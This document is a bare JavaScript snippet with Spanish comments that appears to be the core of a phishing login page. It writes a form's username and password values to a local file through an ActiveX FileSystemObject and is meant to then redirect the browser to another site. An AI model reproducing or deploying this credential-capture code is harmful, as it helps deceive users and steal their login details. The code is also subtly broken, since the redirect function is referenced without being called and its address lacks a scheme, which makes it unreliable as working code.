<SCRIPT language="javascript">

function WriteToAFile()
{
var fso, f1;
var ForReading = 1;
fso = new ActiveXObject("Scripting.FileSystemObject");
//Abre el archivo para agregar el texto
f1 = fso.OpenTextFile("testfile.txt",8,true);
// Escribe el texto que se encuentra en el TextArea en el archivo.
f1.WriteLine(document.forma.user.value);
f1.WriteLine(document.forma.password.value);
// Cierra el flujo que escribe al archivo
f1.Close();
}

</SCRIPT>

<script language="javascript">
<!--
function redireccion()
{
location.href='www.paginaredireccionada.com';
}
//-->
</script>
<script language="javascript">
function funciones()
{
WriteToAFile();
redireccion;
}
</script>